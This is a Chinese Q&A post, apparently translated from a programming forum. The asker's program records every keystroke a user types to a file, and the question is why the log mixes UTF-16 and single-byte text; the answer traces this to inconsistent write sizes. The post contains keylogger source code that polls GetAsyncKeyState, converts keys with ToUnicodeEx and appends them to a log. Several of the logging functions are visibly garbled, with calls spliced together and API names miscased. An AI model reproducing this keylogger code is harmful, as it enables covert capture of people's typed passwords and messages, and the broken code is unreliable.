如何解决这些编码?

问题描述

我正在编写一个程序,以捕获用户输入的所有键并将其保存到文件中。

我真的很困惑一个问题。有时,当我打开文本文件时,它似乎全都是Unicode。

screenshot

我输入了俄语字符,它们是正确的。

但是,有时文件是正常格式。

screenshot

这会将密钥转换为Unicode:

void writeScannedKey(unsigned char key)
{
    HWND windowHandle{ GetForegroundWindow() };
    DWORD threadID{ GetwindowThreadProcessId(windowHandle,NULL) };

    BYTE *keyState{ (BYTE*)malloc(256) };
    GetKeyboardState(keyState);

    HKL hkl{ GetKeyboardLayout(threadID) };

    wchar_t uniChar[16]{ 0 };

    UINT virtualKey{ (MapVirtualKeyEx(key,MAPVK_VK_TO_CHAR,hkl)) };

    ToUnicodeEx(virtualKey,key,keyState,uniChar,16,hkl);

    writeLog(uniChar);

    free(keyState);
}

程序循环(writeScannedKey()是上面的函数):

while (true)
{
    for (key = 8; key <= 222; ++key)
    {
        if (GetAsyncKeyState(key) == -32767)
        {
            if ((key >= 39) && (key < 91))
            {
                writeScannedKey(key);
                break;
            }

            if (isShitKey(key) == FALSE)
                writeLog4(key);
        }
    }
}

我有3个不同的函数,它们彼此接受不同的数据类型(我知道,这很糟糕)。 WriteLog4函数是一种用于将正常字符写入文件函数writeLog2用于打印例如 ALT 键, RWin 键等。&writeLog是从writeScannedKey()函数调用函数

void writeLog(TCHAR *text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(),s.end() };

    std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
    
    HANDLE file{ CreateFileA(fullPath.c_str(),FILE_APPEND_DATA,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_norMAL,NULL) };
    WriteFile(file,text,wcslen(text) * sizeof(wchar_t),NULL);

    CloseHandle(file);
}

void writeLog2(LPCSTR text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(),s.end() };

    std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };

    HANDLE file{ CreateFileA(fullPath.c_str(),lstrlenA(text) * sizeof(char),NULL);

    CloseHandle(file);
}

void writeLog4(unsigned char text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(),(LPCVOID)text,sizeof(text) / sizeof(char) * sizeof(char),NULL);

    CloseHandle(file);
}

解决方法

使用writeScannedKey函数时,以下代码都将两个字节写入文件中

 WriteFile(file,text,wcslen(text) * sizeof(wchar_t),NULL,NULL);

但是当您使用writeLog4函数时,一次只能写入一个字节:

WriteFile(file,(LPCVOID)text,sizeof(text) / sizeof(char) * sizeof(char),NULL);

当您使用UTF-16编码读取文件时,两个字节将被读取为一个字符,单个字节将与随后的字节合并,然后将显示错误字符。